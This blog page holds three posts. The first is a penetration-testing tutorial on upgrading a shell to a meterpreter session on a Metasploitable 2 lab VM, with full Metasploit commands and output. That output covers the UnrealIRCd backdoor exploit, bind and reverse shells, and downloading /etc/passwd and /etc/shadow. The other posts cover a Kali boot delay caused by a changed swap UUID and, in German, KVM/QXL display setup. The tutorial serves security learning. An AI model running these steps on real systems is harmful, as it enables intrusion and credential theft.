Penetration testing: Kali, Metasploit, upgrade of a session to meterpreter

Recently, I started reading in the German book of E. Amberg and D. Schmid on “Hacking” (see the full reference at this post’s end). This is a book with over 1000 pages and it documents the effort of the authors to give a full overview over the wide spectrum of terms used in pen-test and hacking environments, steps of penetration testing, attack variants, tools, defense options, and, and …. . Well, it provides a really broad overview, but in contrast to some other more focused books it is not a real teaching book on penetration testing – in my opinion.

However, at some points the authors describe introductory examples, also simple exploits which can be tested e.g. on targets like Metasploitable 2 or 3 or on prepared Windows systems. This post was inspired by a chapter of the authors about “meterpreter” which they introduced after an exploitation example, i.e. in a post exploitation phase. The chapter deserves some additional hints, small, but hopefully useful for beginners.

Disclaimer:
All the information given in this post is for educational purposes and addresses people interested in and starting with penetration testing. It partially refers to information on the Metasploit Framework [MSF] and Metasploitable targets published in different form elsewhere. Book references are given at the end of this post. If you test out the examples given below, only do this in environments for which the owners and the administrators of the affected networks and systems have given you explicit written consent to install, isolate and use systems with MSF and a Metasploitable target system. Cooperate with the administrators to configure respective network segments and firewalls. Never expose a Metasploitable system to the Internet.

Exploits and shells

During pen-testing (always with the consent of your customer and system administrator) you may not only be requested to find vulnerabilities, but also to verify that an attacker really could exploit them. So – again with the explicit consent of your customer and after a solid risk estimation for the systems and networks under investigation – you may start exploits, e.g with the help of the Metasploit framework [MSF]. Your first objective then – for convenience reasons, but also for obfuscation reasons – is probably to work with a meterpreter shell, which indeed offers a variety of very convenient commands for a post exploitation phase. Often exploits offered by the MSF will not give you a chance to transfer meterpreter as a payload, but only simple interaction shells.

To replace a basic command shell of an achieved session on an attacked target with meterpreter actually is a basic move within MSF, but you may have to take care of some steps ahead. In the named book the authors mention a specific method, namely to upgrade an existing “session” to a meterpreter session.

Upgrade of a plaintext command shell with “sessions -u

The named authors perform the following attack steps to get a session on a Metasploitable target:

  1. They use the exploit DistCC from a Kali host and get a command shell.
  2. They use an additional exploit for a privilege escalation to get root rights and to open a reverse shell to the attacking host; they provide the IP address of the Kali host and a listener port there as parameters of the exploit. They then prepare a suitable executable of the exploit and install it on the attack’s target host (i.e. the Metasploitable system).
  3. They start a listener (with “exploit/multi/handler”) on the Kali host. During this step they set the IP-address of the Kali host and the port there to be addressed by the reverse connection later on.
  4. They start the deployed
    secondary exploit on the attack target. Immediately afterward they get a session with a basic shell with MSF on the attacking Kali system.
  5. They list up the open sessions by “sessions -l” and get the session’s ID – e.g. 2.
  6. They upgrade the session to a meterpreter session with “sessions -u SESSION_ID“. SESSION_ID has to be replaced by the session ID. In the example: “sessions -u 2”.

So far, so good. Works perfectly – at least after this specific succession of steps.

Interestingly enough Rapid7 in its documentation on the (expensive) Metasploit Pro does not discuss the command line option “sessions -u” to upgrade a sessoin – Rapid 7 only presents the option to start a meterpreter shell via the “available actions” on the graphical interface of MSF Pro. Probably the interface does nothing else than our CLI command ….

https://docs.rapid7.com/metasploit/manage-meterpreter-and-shell-sessions

Note that Sparc Flow in his book “Hack like a Pornstar” uses a different way in his example of attacking a Linux server. He manually prepares a meterpreter executable (with the help of “veil”) and places it on the attacked host and starts it there. Maybe more realistic. MSF in the above example transfers meterpreter components to the attacked host as a part of the last step.

Now, a beginner to metasploit may try to repeat something similar with a different basic exploit and may fail with the session upgrade. Why?

Think about firewalls – both remote and local

A trivial point might be a firewall- somewhere …
As a pen-tester you probably want to protect your own systems during tests – also when you are at a customer’s site. (You may find some guys there who try to fiddle with you during your tests.) Your Kali will run on an isolated virtual machine or special live system on some laptop. You may have some routing and a local firewall in place on your Linux host system which controls the communication to your Kali (guest) system. But also the attacked host may reside behind a firewall (e.g. of a network segment). So, you have to carefully think about which ports to use for reverse shells. This is a basic first point where real examples may differ from the idealized world in books. I recommend to train quick reconfigurations of your own firewalls – and watch their actions via “tail” during pen-tests.
Actually, if did not have to think about firewalls and the example given by the named authors worked as described without problems this is the first indication that the network and systems on it are not well managed or that you yourself are not well prepared.

Is meterpreter an optional payload of all exploits available in MSF?

Some other textbooks introduce meterpreter as a direct payload of an exploit used within MSF. One example is M. Messner’s book on Metasploit. However, many exploits available in MSF do not give you this chance. Book examples typically do and can not cover all situations. So, one should be familiar with some way of upgrading a session … Let us look at an example with “Metasploitable 2” as a target system.

Example – IRC exploit on Metasploitable 2

Lets try a specific attack from a Kali system against a Metasploitable 2 target. Each host resides in an (isolated) LAN segment.
As I have performed this attack before I already have a respective vulnerability entry in the database tables of my MSF workspace:

msf6 > vulns

Vulnerabilities
===============

Timestamp                Host           Name                                           References
---------                ----           ----                                           ----------
...
...
2020-11-26 17:15:14 
UTC  172.16.40.121  UnrealIRCD 3.2.8.1 Backdoor Command Execution  CVE-2010-2075,OSVDB-65445,URL-http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
2020-11-26 17:34:31 UTC  172.16.40.121  VSFTPD v2.3.4 Backdoor Command Execution       OSVDB-73573,URL-http://pastebin.com/AetT9sS5,URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
2020-11-26 17:44:45 UTC  172.16.40.121  Generic Payload Handler    
...

Ok, let MSF do its work:

Infos about the exploit:

msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor 
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

Description:
  This module exploits a malicious backdoor that was added to the 
  Unreal IRCD 3.2.8.1 download archive. This backdoor was present in 
  the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 
  2010.

References:
  https://cvedetails.com/cve/CVE-2010-2075/
  OSVDB (65445)
  http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

Here we see already that this exploit does not provide much space for action on the target system. There are not many option either:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

OK, does it have a “check” option?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOST 172.16.40.121
RHOST => 172.16.40.121
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > check
[-] Check failed: NoMethodError This module does not support check.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

What payloads are available?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   0   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   cmd/
unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

No meterpreter there. OK, a normal shell then …

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/bind_perl
payload => cmd/unix/bind_perl

Further options?

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.40.121    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   6667             yes       The target port (TCP)


Payload options (cmd/unix/bind_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  172.16.40.121    no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Do not getconfused by the LPORT setting. In this case it means the listening port at the attacked site – not on our local Kali host. Do our firewalls allow for packets to port 4444 on the target? Yes, OK, then we run the exploit:

Using the exploit:

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 172.16.30.129:6667 - Connected to 172.16.40.121:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 172.16.30.129:6667 - Sending backdoor command...
[*] Started bind TCP handler against 172.16.40.121:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 172.16.40.121:4444) at 2020-11-28 14:04:02 +0100

The interesting line is the last one, no IP address of our own attacking host appears. However, netstat on the Kali host reveals:

netstat -an | grep 4444
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  

Our exploit setup a TCP listener on port 4444 on the target and we connected with a command shell. We should be able to see this from our shell; we just type at the blinking cursor in Metasploit:

    

whoami
root
netstat -an | grep 4444
tcp        0      0 172.16.40.121:4444      192.168.77.22:46705     ESTABLISHED

Well, we became root even with this backdoor exploit. But this is only a side remark.

Now, let us use the recipe from the “Hacking”-book authors:
We press the “CTRL-Z” key combination to put our session to the background and get an option to issue further commands at the metasploit prompt:

Background session 1? [y/N]  y
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.40.121:4444 (172.16.40.121)
  

The command “sessions” revealed a session ID to us. Now, we use the exploit shell_to_meterpreter.

Apply “shell_to_meterpreter” and “multi/handler” indirectly via ”
sessions -u”

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 0.0.0.0:4433 
[*] Command stager progress: 100.00% (769/769 bytes)
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               0.0.0.0:0 -> 172.16.30.129:4444 (172.16.30.129)

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > 

We had expected a new meterpreter session. But nothing happens. After some time we even get a message that the started handler was stopped:

[*] Stopping exploit/multi/handler

So, what is wrong?

The manual way to upgrade to meterpreter …

When we compare our exploit to the one discussed by the authors of the “Hacking”-book we see some differences:

The authors used a reverse shell payload. At some point they specified the IP address of the attacking host, i.e. of our Kali system. In their case the “sessions” command displayed a session which explicitly contained the IP-address of the local attacker host, i.e. of the Kali system.

Hmm. We doubt that meterpreter needs an already existing reverse shell established. Reading a bit we understand that meterpreter works as staged program. Things get uploaded in pieces via an established shell to the target’s TCP handler and from there into the target’s RAM.

But what if the meterpreter piece on the target requires the IP of the host because it wants to connect to the host, i.e. built its own reverse connection from the point of the view of the attacker? And what if this is taken wrongly from the running session? Or what if a local listener on the attacking Kali host is established with a wrong IP address? Then we expect problems!

Even if we later on establish a session from the Kali host to the target the uploaded and RAM-established meterpreter part on the target needs to tell the attacking host which port it will use on the target! Thus, the communication setup on both hosts must work correctly!

Let us see. There is a manual “exploit” module and command to establish meterpreter. It is even mentioned by the authors of the “Hacking”-book, but they do not elaborate on it: “/post/multi/manage/shell_to_meterpreter“.
We saw a line about it in the output of “sessions -u”, too. Ok, let us use it:

Direct use of shell to meterpreter

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > info

       Name: Shell to Meterpreter Upgrade
     Module: post/multi/manage/shell_to_meterpreter
   Platform: Linux, OSX, Unix, Solaris, BSD, Windows
       Arch: 
       Rank: Normal

Provided by:
  Tom Sellers <tom@fadedcode.net>

Compatible session types:
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
  LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT    4433             yes       Port for payload to connect to.
  SESSION                   yes       The session to run this module on.

Description:
  This module attempts to upgrade a command shell to meterpreter. The 
  shell platform is automatically detected and the best version of 
  meterpreter for the target is selected. Currently 
  
meterpreter/reverse_tcp is used on Windows and Linux, with 
  'python/meterpreter/reverse_tcp' used on all others.

We see that indeed reverse TCP handlers are established – meterpreter on the target will want to connect back to us. It starts a handler for it. And we have to provide suitable options:

msf6 post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION                   yes       The session to run this module on.

Ok, we decide for a local port 8090 – and open it on firewalls. We set the relevant options:

post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.77.22
LHOST => 192.168.77.22
msf6 post(multi/manage/shell_to_meterpreter) > set LPORT 8090
LPORT => 8090
msf6 post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1

Successful session upgrade

msf6 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.77.22:8090 
[*] Sending stage (976712 bytes) to 172.16.40.121
[*] Meterpreter session 2 opened (192.168.77.22:8090 -> 172.16.40.121:53847) at 2020-11-28 15:55:06 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
msf6 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                                                       Connection
  --  ----  ----                   -----------                                                                       ----------
  1         shell cmd/unix                                                                                           0.0.0.0:0 -> 172 .16.40.121:4444 (172.16.40.121)
  2         meterpreter x86/linux  root @ metasploitable (uid=0, gid=0, euid=0, egid=0) @ metasploitable.localdo...  192.168.77.22:8090 -> 172.16.40.121:53847 (172.16.40.121)

Success! On our Kali host netstat reveals:

Aktive Internetverbindungen (Server und stehende Verbindungen)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
...
tcp        0      0 192.168.77.22:8090      172.16.40.121:53847     VERBUNDEN  
tcp        0      0 192.168.77.22:46705     172.16.40.121:4444      VERBUNDEN  
...

Let us use session 1 first:

msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 1
[*] Starting interaction with 1...

netstat -an | grep 4444 
tcp        0      0 172.16.30.129:4444      192.168.10.12:46705     ESTABLISHED
netstat -an | grep 8090
tcp        0      0 172.16.30.129:53847     192.168.10.12:8090      ESTABLISHED

Now we press the key combination “Ctrl-Z“, again, and switch to session 2 by using “sessions -i” (the “i” stands for “interaction”):

Background session 1? [y/N]  y
msf6 post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > pwd
/etc/unreal
meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > lcd /root
meterpreter > lpwd
/root
meterpreter > 
getlwd
/root
meterpreter > download /etc/passwd ./metasploitable2
[*] Downloading: /etc/passwd -> ./metasploitable2/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd -> ./metasploitable2/passwd
[*] download   : /etc/passwd -> ./metasploitable2/passwd
meterpreter > download /etc/shadow ./metasploitable2
[*] Downloading: /etc/shadow -> ./metasploitable2/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow -> ./metasploitable2/shadow
[*] download   : /etc/shadow -> ./metasploitable2/shadow
meterpreter > route

IPv4 network routes
===================

    Subnet       Netmask        Gateway      Metric  Interface
    ------       -------        -------      ------  ---------
    0.0.0.0      0.0.0.0        172.16.40.1  100     eth0
    172.16.40.0  255.255.255.0  0.0.0.0      0       eth0

No IPv6 routes were found.

The system is yours, now. As an example, we have downloaded the password files from the Metasploitable system to a prepared local directory for later analysis.

Enough for today. Let us kill all sessions after a “Ctrl-Z”:

Background session 2? [y/N]  
msf6 post(multi/manage/shell_to_meterpreter) > sessions -K
[*] Killing all sessions...
[*] 172.16.30.129 - Command shell session 1 closed.
[*] 172.16.30.129 - Meterpreter session 2 closed.

What was the reason for the failure in the first trial with “sessions -u”?

You can repeat out first attack and start “sessions -u”. You have some time until the multi-handler gets stopped again. During this time you can check communication packets with wireshark at network interfaces of the hosts. And you can have a look with netstat at listeners and ports on the hosts. You will find that packets from the targetto the Kali host are addressed correctly. But a look with netstat on the Kali host reveals:

...
tcp        0      0 0.0.0.0:4433            0.0.0.0:*              LISTEN    
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
...

In case of the working solution we find in contrast:

....
tcp        0      0 192.168.77.22:44909     172.16.40.121:4444      VERBUNDEN  
tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     LISTEN   
...

and then

tcp        0      0 192.168.77.22:4433      172.16.40.121:46660     VERBUNDEN 

So, the handler for the reverse connection on the Kali host caused the problem: It took the default IP 0.0.0.0 from the original session which only had to establish a forward direction.

Conclusion

During our experiments we saw that some simple text book examples do not always work. It depends on the exploits, the handlers, the required parameters for communication settings, …. Upgrading an existing basic shell session (connected to a compromised target host) to a meterpreter session will not always work with “sessions -u”.

The success of “sessions -u” depends on the original exploit options and their payloads. Some exploit/payload combinations do not require a LHOST IP address. They do not set up a reverse connection. Instead 0.0.0.0:0 may appear after the exploit in the local MSF session overview. Then “sessions -u” will fail. Metasploit is not perfect ….

In such cases it is good to know that you can use and configure “post/multi/manage/shell_to_meterpreter” manually. In most cases this lead to a successful upgrade of an existing session to meterpreter where “sessions -u” failed.

Book references

“Hacking – Der umfassende Praxis-Guide”, Fritz Amberg, Daniel Schmidt, 2020, mitp Verlags GmbH & Co KG, Frechen

“How to … Hack like a Pornstar”, Sparc Flow, 2017, ISBN 978-1-5204-7851-7

“Metasploit- Das Handbuch zum Penetration-Testing-Framework”, M. Messner, 2012, dpunkt.
verlag GmbH, Heidelberg

 

Long boot time of Kali Linux after swap partition changes – swap settings for the initramfs

Recently, I reactivated an old KVM-based installation of Kali Linux from 2018. So, some hurdles to upgrade the Kali distribution to version 2020.4 had to be overcome. Actually, it was a mess. I had to solve multiple circle like problems with package dependencies (Python3, Ruby, special packages in the Discovery section, …). Sometimes I had to delete packages explicitly. The new Kali minimum installation and its enhancement via meta-packages contributed to the problems. In the end I also reinstalled a the Gnome desktop environment – supplemented by a few KDE applications. Now, my Kali was fully functional again. However, the remaining disk space had shrunk …

Resizing the qcow2-file for the virtual disk of the virtual machine for Kali Linux

During all the back and forth with installing meta-packages I came close to exhausting virtual disk space, before I could clean up and remove packages again (with “apt-get autoclean” and “apt-get autoremove”). The virtual hard disk was a qcow2-file in my case. For further experiments I had to expand its capacity. This could easily be done by

qemu-img resize PATH_TO_qcow2_FILE +NG

where I had to chose a suitable “N” (20). The extended file must, of course, still fit into its filesystem on the KVM host!

Extending and rearranging partitions within the Kali system

The more difficult part in my case was the rearrangement of the two partitions ( one for the “/”-fs and one for swap) on the virtual disk for my Kali guest system. I did this within the running Kali system. Bad habit; such operations are dangerous, of course, but I trusted in the abilities of gparted. An extension of a mounted “ext4”-formatted partition is in my experience no major problem as long as there is enough free space behind its current location …. But, I recommend, of course, to make a backups of your virtual machine, before you start with any potentially dangerous operations regarding the file-systems of your Linux machines.

As my old Kali installation unfortunately did not have a LVM-layout and the disk partition table was of the old MS-DOS type, I actually had to move a blocking swap partition which was located directly after the “/”-partition. Meaning: I had to delete and later recreate it at a different position. Of course, after having disabled the swap in the running Kali guest :-). The partition keeping the “/”-filesystem (ext4) could then be extended without any problems on the running system. The new swap partition afterwards got its place behind the “/”-partition. According to “gparted” everything was OK after the partition changes: Then I rebooted…

The problem: A boot time of almost 30 secs …

The next restart took about 28 secs! But the machine came up in the end – which is almost a wonder, after I understood the cause of the problem. A standard boot-process until login normally required about 4 secs, only, before my filesystem changes. A major discrepancy and a clear indications of a major problem! Looking at the “dmesg”-output I got the impression that the delay had to do with operations occurring at the very beginning of the boot process. So, I checked the “/etc/fstab”. And got a first glimpse of the cause: The entries there referred to the UUIDs of the partitions! Not unexpectedly – this is the standard these days for almost all major distributions.

So, stupid me: Of course, the UUID of the swap partition had changed during the mentioned operations! I adapted it to the new value (which I got from gparted). I also checked whether there was
any reference to the swap-partition in the Grub command line (check “/etc/default/grub” for a “resume”-parameter!) To be on the safe side I also checked the result of “update-grub” in the file “/boot/grub/grub.cfg”). I did not find any references there. So, I gladly restarted my Kali system. However, the problem had not disappeared … .

Solution: The initramfs-configuration includes an explicit setting for the swap-partition!

Now, at this point there were not many options left. I started suspecting that the initramfs had a wrong entry. Now, where do we find options regarding the swap for the initramfs on a Debian based systems? A bit of duckduckgoing pointed me to the file

/etc/initramfs-tools/conf.d/resume

And there I did find an entry like

RESUME=UUID=d222524c-5add-2fcf-82dd-4d1b7e528d0c

OK – I changed it to the new value. Then I used

update-initramfs -u

to update the initramfs. And, guess what: The problem disappeared! I got my 4 secs of boot time again.

Conclusion

Never forget to check the UUID-settings for partitions after major changes of the filesystem-layout on your disks. Do the necessary checks not only on real host systems, but also on virtualized systems. Check both the “/etc/fstab” AND the Grub2-configuration AND the initramfs-configuration for possible references to changed or moved partitions.

Off topic – but related: When copying the contents of a partition with “dd” into another partition on your hard disk, e.g. for a backup, you should also care about the fact that you have two partitions with the same UUID afterwards. This may lead to major problems for any active Grub2. Always change the UUID of the copied partition with tune2fs before any reboots. If the copied partition was a bootable one, you also take care of its “/etc/fstab”-entries and initramfs settings, if you want it to be bootable in its new place.

General warning: Whenever you move/copy partitions, write down and save the original UUIDs – you may need them in case of trouble.

 

KVM/qemu mit QXL – hohe Auflösungen und virtuelle Monitore im Gastsystem definieren und nutzen – II

Diese Artikelserie befasst sich mit der Möglichkeit, hohe Monitor-Auflösungen auch beim Arbeiten mit Linux-Gastsystemen unter einem KVM/QEMU-Hypervisor zu nutzen. Dabei sollen das Spice-Protokoll und ein QXL-Device als virtuelle Grafikkarte des Gastsystems genutzt werden.

Wenn man mit einem virtualisierten System arbeitet, kann der Zugriff auf dessen Desktop entweder am KVM-Host selbst oder aber von einem Remote-System aus erfolgen. Bis auf weiteres konzentrieren wir uns auf das erstere Szenario, d.h. wir greifen unter einem Desktop des KVM-Hostes auf den Desktop des Gastes zu. Wir betrachten also den Fall mehrerer am Host selbst angeschlossener, hochauflösender Monitore, auf dem die Desktop-Umgebung des virtualisierten Gastsystems in einem oder mehreren Fenstern dargestellt werden soll. In einem solchen Szenario ist der durch Netzwerkprotokolle entstehende zusätzliche Komplexitätsgrad irrelevant.

Ausgangspunkt unserer Überlegungen des ersten Artikels war die Feststellung, dass nicht immer alle Möglichkeiten der physikalischen Monitore automatisch und richtig erkannt werden. Und selbst wenn das geschehen sollte, wird die Information nicht unbedingt korrekt an das Gastsystem weitergegeben. Dies gilt u.a. für externe Monitore. Dann ist Handarbeit angesagt. Besondere Vorkehrungen sind i.d.R. auch erforderlich, wenn man ggf. mehrere virtuelle Monitore eines Gastsystems nutzen und auf die physikalischen Schirme des Hosts verteilen will.

Im letzten Beitrag

KVM/qemu mit QXL – hohe Auflösungen und virtuelle Monitore im Gastsystem definieren und nutzen – I

hatte ich das Universaltool xrandr zur Konfiguration von Auflösung und Orientierung von Bildschirmen unter X-Window vorgestellt und bereits auf einem exemplarischen KVM-Host (Laptop mit Opensuse) eingesetzt. Danach hatten wir uns dem mittels “virt-manager” und QEMU virtualisierten Gastsystem zugewandt und uns ein wenig damit befasst, wie denn eine virtuelle Grafikkarte vom Typ QXL aussieht und wie man den dortigen Video RAM für hohe Auflösungen konfiguriert.

Wir gehen nun auf die Frage ein, welche Vorkehrungen im Gastsystems noch erforderlich sind, um einen oder mehrere hochauflösende virtuelle Monitore performant nutzen zu können. Abschließend wenden wir dann “xrandr” im Gastsystem an.

Zusammenspiel benötigter Komponenten

Wie greifen eigentlich die in unserem Szenario benötigten Komponenten Spice, virt-manager, libvirt, Qemu, QXL ineinander? Ich habe mal versucht, das in einer Skizze zu verdeutlichen:

Die Skizze stellt die Situation für einen Virtualisierungshost dar, an dem 3 physikalische Monitore angeschlossen sind. Ein auf diesem KVM-Host angemeldeter User greift mittels Spice-Clients auf das dort installierte Gastsystem zu. (Das ist ein typisches Szenario für Entwickler-Laptops oder Linux-Workstations, in dem man mittels Virtualisierung Eigenschaften eines Zielsystems darstellt.) Das Gast-OS läuft in einer virtualisierten Umgebung, die durch QEMU im Zusammenspiel mit KVM bereitgestellt wird; das virtualisierte System (also der “Gast”) wurde in der Skizze als QEMU VM (Virtual Machine) bezeichnet.

Die Spice-Komponenten sind gelblich dargestellt. “virt-viewer” und “remote-viewer” sind verschiedene Spice-Clients, die mit dem Spice-Server kommunizieren können. Diese Clients ermöglichen die Darstellung des grafischen Outputs des Gastsystems in einem Fenster. Ähnliches leistet auch die in “virt-
manager” integrierte “grafische Spice-Konsole“.

Ich habe versucht, in der Skizze anzudeuten, dass der Spice-Client “remote-viewer” ganz unabhängig von libvirt-Komponenten funktioniert (s. hierzu etwa Red Hat Virtualization Guide für RHEL 6, Kap. 17.2 .

Eine Skizze zur genaueren Struktur des QXL-Devices der QEMU VM mit bis zu vier “heads” für vier virtuelle Monitore von Linux-Gastsystemen hatte ich bereits im vorhergehenden Artikel geliefert. In der hiesigen Skizze habe ich die Situation für 2 “heads” angedeutet; 2 virtuelle Monitore des Gastes werden auf zwei physikalischen Monitoren in Spice-Client-Fenstern angezeigt.

Anmerkungen zur Client-Server-Struktur

Aus der Skizze geht die Client/Server-Struktur der Komponenten nicht so recht hervor, da im dargestellten Fall ja alles auf dem Virtualisierungshost abläuft. Aber sowohl Spice als auch libvirt/qemu sind netzwerkfähig und somit als Client/Server-Systeme ausgelegt. Der “Spice-Server” wie auch der Dämon “libvirtd” sind dabei immer auf dem Virtualisierungs-Server (also dem KVM-Host) zu installieren. Zur Konfiguration der Protokoll-Einstellungen auf einem Linux-Remote-System, von dem aus die Spice-Clients “Spice Console des virt-managers” bzw. der stand-alone Spice-Client “remote-viewer” über ein Netz mit ihren Gegenparts auf dem Virtualisierungshost kommunizieren sollen, siehe
https://www.spice-space.org/spice-user-manual.html
bzw.
https://libvirt.org/docs.html
https://wiki.ubuntuusers.de/virt-manager/.
Virtualization-Administration-Guide von Red Hat für RHEL 6

Im virt-manager bietet der Punkt “File” > Add new connection” Felder zur Konfiguration einer Verbindung an. Spice kann über SSH getunnelt werden; für virt-manager wird eh’ qemu+ssh angeboten.

Wie einleitend festgestellt, werden uns in dieser Artikelserie zunächst mit einer Konfiguration, wie sie auf der Skizze dargestellt ist, begnügen. Spezielle Netzwerk-Einstellungen entfallen dann.

QXL-Treiber und spice-vdagent

Auf der rechten Seite der obigen Skizze erkennt man das virtuelle QXL-Device. Die Skizze deutet hier an, dass im Betriebssystem [OS] des Gastes zwei Komponenten erforderlich sind, um die notwendige Unterstützung zu liefern – ein Treiber und ein sogenannter “spice-vdagent”. Wir müssen uns nun mit deren Bereitstellung im Gastsystem befassen. Es gilt:

  • Der qxl-Treiber ist, wie Video-Treiber für reale Karten auch, ein drm-fähiges Kernelmodul. “drm” steht dabei für “direct rendering manager”; https://de.wikipedia.org/ wiki/ Direct_Rendering_Manager).
  • Der spice-vdagent wird dagegen als Dämon bereitgestellt und ist als Service zu aktivieren.

Versionsabhängigkeiten und Test-Setup

Leider muss ich vor weiteren Details vorausschicken, dass sowohl das Laden des qxl-Kernel-Moduls als auch die faktische Wirkungsweise von qxl-Treiber und spice-vdagent stark von der Art/Version des Linux-Gastsystems, dessen Kernel und zu allem Überfluss auch noch von der dortigen Desktop-Version abhängen. Ich nehme als Beispiel mal Debian 8 “Jessie”:

Unter dem ursprünglichen Kernel 3.16 von Jessie lässt sich das qxl-Modul nicht ohne weiteres laden. Es verlangt einen mir
unbekannten Parameter. In Installationen, die Debian-Backport-Pakete nutzen, wird ab Kernelversion 4.2 das qxl-Modul dagegen automatisch geladen. Ferner hat das Laden des qxl-Moduls – je nach Kernelversion und Desktop-Version unterschiedliche Auswirkungen auf automatische Auflösungsanpassungen. Ich komme darauf in einem weiteren Artikel zurück.

